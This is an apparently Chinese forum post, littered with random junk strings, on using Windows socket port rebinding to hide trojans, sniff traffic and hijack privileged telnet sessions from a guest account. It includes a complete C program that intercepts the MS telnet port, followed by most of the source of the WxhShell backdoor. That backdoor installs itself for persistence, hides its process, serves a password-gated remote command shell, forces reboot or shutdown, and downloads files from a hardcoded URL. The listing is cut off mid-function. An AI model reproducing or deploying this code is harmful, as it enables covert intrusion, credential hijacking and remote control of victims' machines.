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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: G3q\Z`|3h  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =oBV.BST u  
2vynz,^ET  
  saddr.sin_family = AF_INET; 4v;/"4)'  
7v{Dwg  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >y5~:L  
ct`89~"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [j) :2  
-{^Gzui  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 vForj*Xo  
b^0=X!bg  
  这意味着什么?意味着可以进行如下的攻击: q%nWBmPZ~y  
BRzrtK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 flRok?iF  
gkDB8,C<j  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) o<Q~pd#Ip,  
Wh,p$|vL  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `rvS(p[s  
{q:6;yzxl  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  HUZI7rC[=)  
^]K_k7`I  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,#nyEE  
5-*/wKjLz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Vf0m7BJc3  
}5EvBEv-)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _qr?v=,-A  
s_/ CJ6s  
  #include rOX\rI%0+  
  #include !Eu}ro.}  
  #include 04o(05K  
  #include    *4]}_ .rG#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   k*J0K=U|  
  int main() d-y8c  
  { V!u W\i/  
  WORD wVersionRequested; nGq{+ G  
  DWORD ret; O|d"0P  
  WSADATA wsaData; ;tlvf?0!  
  BOOL val; "_W[X  
  SOCKADDR_IN saddr; `ml  
  SOCKADDR_IN scaddr; U&GSMjqg  
  int err; voiWf?X  
  SOCKET s; 5 y0 N }}  
  SOCKET sc; f]Xh7m(Gh  
  int caddsize; UZz/v#y~  
  HANDLE mt; `f S$@{YI_  
  DWORD tid;   ]@0C1 r  
  wVersionRequested = MAKEWORD( 2, 2 ); )1N~-VuT  
  err = WSAStartup( wVersionRequested, &wsaData ); Dr)B0]KG  
  if ( err != 0 ) { ',P$m&z  
  printf("error!WSAStartup failed!\n"); OQ&l/|{O0?  
  return -1; 0.+MlyA  
  } G .NGS%v  
  saddr.sin_family = AF_INET; :pq+SifP  
   -e(e;e  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `p#tx.o  
Zcjh  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); lxf+$Z`~:  
  saddr.sin_port = htons(23); *lc|iq\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u^, eHO  
  { ?L x*MJZ  
  printf("error!socket failed!\n"); W^k95%zBM  
  return -1; fS?}(7  
  } \,D>zF  
  val = TRUE; a]]eQ(xQ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3?5JY;}h>"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6Z.Fyte  
  { %vUY|3G  
  printf("error!setsockopt failed!\n"); tnE),  
  return -1; FF#T"y0Y  
  } Q`kV| pjg  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; IK1'" S|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 nvbzCtC  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 jl9hFubwW  
TXdo,DPv7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {.eo?dQ  
  { *O_>3Hgl  
  ret=GetLastError(); w{mw?0  
  printf("error!bind failed!\n"); xu\s2x$  
  return -1; z.lIlp2:  
  } Q<0X80w>  
  listen(s,2); > 9.%hSy  
  while(1) V_zU?}lZ^  
  { V/`vX;%  
  caddsize = sizeof(scaddr); s@zO`uBc  
  //接受连接请求 (1 (~r"4I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7>"dc+Fg  
  if(sc!=INVALID_SOCKET) /g$G G9  
  { L>LIN 1A  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); U$|q]N  
  if(mt==NULL) e.\dqt~%y  
  { <p/zm}?')  
  printf("Thread Creat Failed!\n"); DG?g~{Y~b  
  break; t'1g+g  
  } bFjH* ~ P  
  } pu~b\&^G  
  CloseHandle(mt); ,oykOda:|  
  } >dx/k)~~-L  
  closesocket(s); `*6|2  
  WSACleanup(); [;H-HpBaa  
  return 0; kM J}sS  
  }   $GP66Ev  
  DWORD WINAPI ClientThread(LPVOID lpParam) 60;_^v  
  { eSQkW  
  SOCKET ss = (SOCKET)lpParam; d~ +(g!  
  SOCKET sc; EHN(K-  
  unsigned char buf[4096]; OClG dFJ|  
  SOCKADDR_IN saddr; oqAO@<dL!  
  long num; aVCPaYe^  
  DWORD val; yIhPB8QL  
  DWORD ret; s]]lB018O\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;4l8Qg 7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?VlGTMaS+  
  saddr.sin_family = AF_INET; ~UJ.A<>Fh  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); HjIIhl?UY  
  saddr.sin_port = htons(23); vJxE F&X  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w? >f:2(=[  
  { ~| b\1SR  
  printf("error!socket failed!\n"); C$q};7b1N  
  return -1; 3~{I/ft  
  } XLC9B3Jt  
  val = 100; )9^)t   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z#.1p'3qm1  
  { ,Kl:4 Tv  
  ret = GetLastError(); <rtKPlb//  
  return -1; /jNvHo^B  
  } ! ui   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^3[_4av  
  { 6se8`[  
  ret = GetLastError(); *?BY+0  
  return -1; ,`JYFh M  
  } sC.b '1P  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Q7rBc wm5  
  { qCg<g  
  printf("error!socket connect failed!\n"); u$ yXuFj/  
  closesocket(sc); Vbt!, 2_)  
  closesocket(ss); ^R=`<jx   
  return -1; ;89kL]  
  } 8T1zL.u>q  
  while(1) VcGl8~#9  
  { vn+XY =Qnr  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >MJ#|vO  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 E447'aJ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +q'\rpt  
  num = recv(ss,buf,4096,0); ?h6|N%U'  
  if(num>0) vo f8bQ{&  
  send(sc,buf,num,0); 23P&n(.  
  else if(num==0) +l^tT&s;f  
  break; u"q5 6}Q?]  
  num = recv(sc,buf,4096,0); vP x/&x  
  if(num>0) ~v%6*9  
  send(ss,buf,num,0); ?V,q&=9  
  else if(num==0) K fD. J)  
  break; Ly&+m+Gwu  
  } ?<${?L>  
  closesocket(ss); )i}j\";>L  
  closesocket(sc); OL>)SJj5  
  return 0 ; H.\`(`6  
  } T[ZmD{6l  
\?; `_E`j  
ep=r7Mft  
========================================================== :~ pGHl  
3("C'(W  
下边附上一个代码,,WXhSHELL KEtV  
+9w[/n^,G  
========================================================== .ojEKu+EJ'  
gYhY1Mym  
#include "stdafx.h" 9T;4aP>6j#  
lhKn&U  
#include <stdio.h> /kY9z~l  
#include <string.h> sSZ)C|Q  
#include <windows.h> h{gFqkDoTI  
#include <winsock2.h> \rF S^#  
#include <winsvc.h> W w,\s5Uw  
#include <urlmon.h> }9+;-*m/  
uR ?W|a  
#pragma comment (lib, "Ws2_32.lib") j@>D]j  
#pragma comment (lib, "urlmon.lib") q0NFz mG  
W}f)VC;D  
#define MAX_USER   100 // 最大客户端连接数 IplOXD  
#define BUF_SOCK   200 // sock buffer *Jgi=,!m  
#define KEY_BUFF   255 // 输入 buffer 8 MQq3  
)GkJ%o#H2  
#define REBOOT     0   // 重启 T9 /;$6s*  
#define SHUTDOWN   1   // 关机 cc|W1,q  
7pm'b,J<  
#define DEF_PORT   5000 // 监听端口 r }lGcG)  
N[p o)}hp  
#define REG_LEN     16   // 注册表键长度 ?qNU*d  
#define SVC_LEN     80   // NT服务名长度 d.FU) )lmD  
x="Wqcnj{  
// 从dll定义API <Z]#vr q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -B;#pTG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1(gs({  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7v*gwBH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZeP=}0TGjn  
mux/\TII  
// wxhshell配置信息 QWk3y"5n<  
struct WSCFG { YIg(^>sq  
  int ws_port;         // 监听端口 J?9jD:x  
  char ws_passstr[REG_LEN]; // 口令 XVqOiv)  
  int ws_autoins;       // 安装标记, 1=yes 0=no :~otzI4%!  
  char ws_regname[REG_LEN]; // 注册表键名 KLyRb0V  
  char ws_svcname[REG_LEN]; // 服务名 5MVa;m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 CIx(SeEF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3>KEl^1DB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c_3B:F7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no S@/{34,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WO_Uc_R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,AP0*Ln  
GGp.u@\r  
}; uzBQK  
sp,-JZD  
// default Wxhshell configuration Zz0bd473k?  
struct WSCFG wscfg={DEF_PORT, FJ_7<4ET  
    "xuhuanlingzhe", L[x`i'0B  
    1, 9MMCWMV  
    "Wxhshell", Y;/@[AwF  
    "Wxhshell", 0 0N[ : %  
            "WxhShell Service", .xN<<+|_v'  
    "Wrsky Windows CmdShell Service", X`.##S KC  
    "Please Input Your Password: ", {y9G "  
  1, i "h\*B=  
  "http://www.wrsky.com/wxhshell.exe", w:t~M[kTW  
  "Wxhshell.exe" $*ff]>#  
    }; 4j={ 9e<  
V4[-:k  
// 消息定义模块 'z ?Hv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x4WCAqi/2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cUY-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; geme_  
char *msg_ws_ext="\n\rExit."; eFG/!b<17  
char *msg_ws_end="\n\rQuit."; 3`bQ0-D;  
char *msg_ws_boot="\n\rReboot..."; #*o0n>O  
char *msg_ws_poff="\n\rShutdown..."; QTy=VLk43  
char *msg_ws_down="\n\rSave to "; <T}^:2G|  
 6:zPWJB  
char *msg_ws_err="\n\rErr!"; V&*IZt&  
char *msg_ws_ok="\n\rOK!"; ,8e'<y  
.PB!1C.}@  
char ExeFile[MAX_PATH]; duaF?\vv  
int nUser = 0; rfqwxr45h  
HANDLE handles[MAX_USER]; {<42PJtPY  
int OsIsNt; d4| )=  
/j~~S'sw  
SERVICE_STATUS       serviceStatus; 5W&L6.J}+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2][9Wp  
]SQ+r*a  
// 函数声明 fx;rMGa  
int Install(void); )x6 &Y  
int Uninstall(void); dKzG,/1W[m  
int DownloadFile(char *sURL, SOCKET wsh); M~A# _%2U  
int Boot(int flag); wlXs/\es  
void HideProc(void); T#ls2UL*xh  
int GetOsVer(void); "^#O7.oVi+  
int Wxhshell(SOCKET wsl); " `qk}n-  
void TalkWithClient(void *cs); e$[O J<t  
int CmdShell(SOCKET sock); ZC?~RXL(  
int StartFromService(void); wW%b~JX  
int StartWxhshell(LPSTR lpCmdLine); $|~ <6A{y  
1#vu)a1+b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2Re8rcQQU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^B<-.(F  
4fi4F1f  
// 数据结构和表定义 mkSu $c  
SERVICE_TABLE_ENTRY DispatchTable[] = 1dN/H)]  
{ r8EJ@pOF2w  
{wscfg.ws_svcname, NTServiceMain}, @Tu`0 =8  
{NULL, NULL} " .7@  
}; cfTT7O#Dc  
y\??cjWb]  
// 自我安装 |/Vq{gxp+  
int Install(void) eKiDc=@  
{ 3~`P8 9  
  char svExeFile[MAX_PATH]; Y/sav;  
  HKEY key; 'gY?=,dF>  
  strcpy(svExeFile,ExeFile); SY,ns*>1F  
RdX+:!lD  
// 如果是win9x系统,修改注册表设为自启动 tK3$,9+  
if(!OsIsNt) { > "hP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jwI2T$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q`k;E}x_-  
  RegCloseKey(key); &{Z+p(3Gj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DGHSyB^+1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2XR!2_)O5  
  RegCloseKey(key); K*:=d }^  
  return 0; T\gs  
    } wq?"NQ?O<  
  } iHv+I~/  
} F@<cp ?dR  
else { zZMKgFR@  
(dg,w*t'  
// 如果是NT以上系统,安装为系统服务 <WUgH6"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g:!U,<C^a  
if (schSCManager!=0) (-S^L'v62v  
{ <-1:o*8:}  
  SC_HANDLE schService = CreateService Ce+:9}[  
  ( mZiKA-t  
  schSCManager, Yi9Y`~J  
  wscfg.ws_svcname, fM.#FT??  
  wscfg.ws_svcdisp, XpANaqH\  
  SERVICE_ALL_ACCESS, 2bCfY\k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hJSvx  
  SERVICE_AUTO_START, "mn?*  
  SERVICE_ERROR_NORMAL, Z66Xj-o  
  svExeFile, 3HyOQD"{  
  NULL, LVUA"'6V  
  NULL, `+Nv =vk  
  NULL, :}NheRi  
  NULL, X!|eRA~o  
  NULL ]G i&:k  
  ); &J/EBmY[  
  if (schService!=0) \`y:#N<c  
  { N8nt2r<h  
  CloseServiceHandle(schService); UlWmf{1%]?  
  CloseServiceHandle(schSCManager); 9,8/DW.K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FRxR/3&  
  strcat(svExeFile,wscfg.ws_svcname); ]WNY"B>+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jG ouwta  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Jj)J5 S /  
  RegCloseKey(key); VP!4Nob  
  return 0; ,#XXwm ^I  
    } >$ZhhM/} J  
  } Tv#d>ZSD  
  CloseServiceHandle(schSCManager); u.A}&'H  
} 6?x F!VIL  
} +X#6 d v$  
m ^FKE:  
return 1; <oXBkCi0r  
} 3[Q7'\  
E,d<F{=8,o  
// 自我卸载 W$X/8K bn  
int Uninstall(void) Fug4u?-n  
{ >K'dgJ245  
  HKEY key; uG -+&MU?  
`Ij EwKra  
if(!OsIsNt) { *SJ[~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ab[o~X"  
  RegDeleteValue(key,wscfg.ws_regname); b"\lF1Nf&o  
  RegCloseKey(key); fTpG>*{p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1Xi>&;],  
  RegDeleteValue(key,wscfg.ws_regname); sSh." H  
  RegCloseKey(key); =oVC*b  
  return 0; $%$zZJ@/  
  } ;39b.v\^  
} 0xZ^ f}@L  
} l[~$9C'ji  
else { sPc}hG+N  
|*48J1:1y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *04}84?:  
if (schSCManager!=0) ; o'>`=Y  
{ K bQXH!J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xq.kH|bH  
  if (schService!=0) aA$\iFYA  
  { P$z%:Q  
  if(DeleteService(schService)!=0) { 7(D)U)9h  
  CloseServiceHandle(schService); Pek[j)g}  
  CloseServiceHandle(schSCManager); PCwc=  
  return 0; Zrwd  
  } jvv=  
  CloseServiceHandle(schService); y_>DszRN`u  
  } $hc=H  
  CloseServiceHandle(schSCManager); &bq1n_  
} i\;ZEM{  
} +@uA  
j|8!gW  
return 1; $S' TW3  
} [^GBg>k  
&3IkC(yD  
// 从指定url下载文件 8VG}-   
int DownloadFile(char *sURL, SOCKET wsh) ;1yF[<a  
{ rMVcoO@3  
  HRESULT hr; 6Br^Ugy  
char seps[]= "/"; u ]y[g  
char *token; '0 ~?zP  
char *file; 'DXT7|Df  
char myURL[MAX_PATH]; h<M1q1)  
char myFILE[MAX_PATH]; t ]Ln(r  
1.u^shc&|  
strcpy(myURL,sURL); f"gYXaVF+  
  token=strtok(myURL,seps); #qk=R7" Q  
  while(token!=NULL) /":/DwI'   
  { dn}EM7:Z  
    file=token; (xvg.Nby  
  token=strtok(NULL,seps); Q_p&~PNy5  
  } iz;5:  
/JRZ?/<1  
GetCurrentDirectory(MAX_PATH,myFILE); |%5pzYe  
strcat(myFILE, "\\"); '4 d4i  
strcat(myFILE, file); ysi=}+F.  
  send(wsh,myFILE,strlen(myFILE),0); IAzFwlO9  
send(wsh,"...",3,0); p2(ha3PW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fJ\?+,  
  if(hr==S_OK) NRG06M  
return 0; q_ ^yma  
else P7T'.|d  
return 1; f99"~)B|  
A",}Ikh='`  
} oj.J;[-  
G:1QXwq\j  
// 系统电源模块 ~$>JYJj  
int Boot(int flag) a e-tAA[1Y  
{ Ohj^Z&j  
  HANDLE hToken; b00$3,L   
  TOKEN_PRIVILEGES tkp; EdqB4-#7  
_t"[p_llo  
  if(OsIsNt) { A`M-N<T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uv-O`)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4$, W\d  
    tkp.PrivilegeCount = 1; (X^,.qy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LN (\B:wAY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W4av?H  
if(flag==REBOOT) { D^h! ].3 T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F0&ubspt\  
  return 0; WJ-.?   
} AvZ5?rN$  
else { Zgp9Uu}"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a_/4^+  
  return 0; doTbol?+  
} 7xB]Z;:  
  } >Vx_Xv`Jwb  
  else { ]v5/K  
if(flag==REBOOT) { )uAY_()/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DazoY&AWE  
  return 0; &n8Ja@Y]  
} Fab]'#1q4  
else { bBc<p{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KF(y`(8f  
  return 0; x0%m}P/  
} @1xVWSF  
} R+ \%  
bh5P98s  
return 1; W tw,YFT  
} 6wu`;>  
>`&2]Wc)  
// win9x进程隐藏模块 r?Mf3U^G  
void HideProc(void) \z2y?"\?  
{ I+twI&GS  
LHx ")H?,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2!}F+^8'P  
  if ( hKernel != NULL ) 3 eF c  
  { @=AQr4&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Vb#a ,t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GPGP teC  
    FreeLibrary(hKernel); H-&27?s^  
  } T<>B5G~%  
]!!?gnPd5  
return; 4Zu1G#(zP  
} @i(9k  
un!v1g9O  
// 获取操作系统版本 3O4lG e#u  
int GetOsVer(void) V;RgO}  
{ gi/k#3_m  
  OSVERSIONINFO winfo; T#!% Uzz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r)-{~JA!  
  GetVersionEx(&winfo); .]KC*2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f^hJAZ  
  return 1; z]hRc8 g}d  
  else ?mC'ZYQI  
  return 0; #r"|%nOfY  
} h4K Mhr  
2DsP "q79k  
// 客户端句柄模块 ?5ZvvAi  
int Wxhshell(SOCKET wsl) gQSVPbzK  
{ aB (pdW4  
  SOCKET wsh; f4AN"rW  
  struct sockaddr_in client; w(`g)`  
  DWORD myID; /d6Rd l`w  
FsO-xG"@"  
  while(nUser<MAX_USER) %X\A|V&  
{ R0#scr   
  int nSize=sizeof(client); F-o?tU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k kD#Bb  
  if(wsh==INVALID_SOCKET) return 1; C[%&;\3S@  
Sn'!Nq>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6y Muj<L  
if(handles[nUser]==0) q$yg^:]2  
  closesocket(wsh); CDtL.a\  
else V D7^wd9  
  nUser++; i Pr(X  
  } VfJ{);   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A9SL|9Q  
n2-+.9cY  
  return 0; uUHWTyoO  
} 3 SbZD   
2+)h!y]  
// 关闭 socket t>%b[(a  
void CloseIt(SOCKET wsh) IFr"IOr'l  
{ mT@Gf>}/A  
closesocket(wsh);  r90tXx  
nUser--; `EMGrw_  
ExitThread(0); \fC;b"j  
} bG"FN/vg  
u=s,bt,"5  
// 客户端请求句柄 a""9%./B  
void TalkWithClient(void *cs) t1 9f%d  
{ \VIY[6sn\M  
>{~xO 6H  
  SOCKET wsh=(SOCKET)cs; WdS1v%  
  char pwd[SVC_LEN]; uMG y-c  
  char cmd[KEY_BUFF]; jCtk3No  
char chr[1]; 2P`./1L  
int i,j; BB3 a8  
oF+yh!~mM  
  while (nUser < MAX_USER) { UJp'v_hN  
D?S|]]Y!q  
if(wscfg.ws_passstr) { c 8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !WGQ34R{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S/pU|zV[  
  //ZeroMemory(pwd,KEY_BUFF); TBJ?8W(  
      i=0; euT=]j  
  while(i<SVC_LEN) { ?(B}w*G~  
@V^.eVM\R  
  // 设置超时 $U7/w?gc'  
  fd_set FdRead; sVP\EF8PY  
  struct timeval TimeOut; gzVZPvTPE  
  FD_ZERO(&FdRead); (O09HY:  
  FD_SET(wsh,&FdRead); N GnE  
  TimeOut.tv_sec=8; bvZD@F`2  
  TimeOut.tv_usec=0; Zp_j\B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); RaTNA W)v>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NW0se DL  
4%qmwt*p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _a"| :kX  
  pwd=chr[0]; rDwd!Jet  
  if(chr[0]==0xd || chr[0]==0xa) { [{xY3WS  
  pwd=0; 6.45^'t]  
  break; <=%[.. (S  
  } |p+FIr+  
  i++; qR2cRepV  
    } (d NF)(wn  
1z2v[S&pk  
  // 如果是非法用户,关闭 socket IN1 n^f$:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `hG`}G|^  
} T$r/XAs  
8,+T[S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |mWSS'7fI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j+AZ!$E  
W6EEC<$JL  
while(1) { twldwuN  
!}U3{L-  
  ZeroMemory(cmd,KEY_BUFF); ^qC.bv]&  
75R4[C6T  
      // 自动支持客户端 telnet标准   og+Vrd  
  j=0; mGP%"R2X  
  while(j<KEY_BUFF) { }mZCQJ#`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O\yYCi(  
  cmd[j]=chr[0]; 6z~ [Ay  
  if(chr[0]==0xa || chr[0]==0xd) { 3 Z SU^v  
  cmd[j]=0; }*-fh$QJ  
  break; p*cyW l  
  } GpXf).a@  
  j++;  r?0w5I  
    } P*?2+.  
r SoT]6/   
  // 下载文件 }/NjZ*u  
  if(strstr(cmd,"http://")) { p.4Sgeh#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^HP$r*  
  if(DownloadFile(cmd,wsh)) MGw XZ7?E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t*BCpC }  
  else 30Q77,Nsny  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g.:ZMV  
  } H)*%eG~  
  else { K|~ !oQ  
#vy[v22  
    switch(cmd[0]) { &2@Rc?!6_P  
  !m_y@~pV#u  
  // 帮助 '5T:*Yh  
  case '?': { 'X&"(M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F!C<^q~!  
    break; Op 9+5]XF  
  } pG* W>F  
  // 安装 z:dW'U?1  
  case 'i': { J$jLGy&'  
    if(Install()) n3/ Bs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @{<^rLt  
    else 5 8U[IGs(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PDgZb  
    break; O6-';H:I]L  
    } :u@ w ;  
  // 卸载 v,rKuvc'  
  case 'r': { $'*{&/@  
    if(Uninstall()) _Eq,udCso  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5|bfrc  
    else ~ U8#yo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XNvlx4  
    break; K;\fJ2ag  
    } 1Nv qtVC  
  // 显示 wxhshell 所在路径 <Fl.W}?Q}  
  case 'p': { B~< bc  
    char svExeFile[MAX_PATH]; rO1N@kd/  
    strcpy(svExeFile,"\n\r"); DYZk1  
      strcat(svExeFile,ExeFile); gK *=T  
        send(wsh,svExeFile,strlen(svExeFile),0); 5X]f}6kT  
    break; XL1x8IB  
    } |w_l~xYV)  
  // 重启 ct(euPU  
  case 'b': { 6@(o8i   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +'[*ikxD=g  
    if(Boot(REBOOT)) 11A;z[Zk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5HAAaI  
    else { /b4>0DXT5  
    closesocket(wsh); -"N vu  
    ExitThread(0); X1u\si%.4S  
    } \4OU+$m  
    break; h2+"e# _  
    } H}usL)0&&  
  // 关机 e5n"(s"G*[  
  case 'd': { +rrA>~  
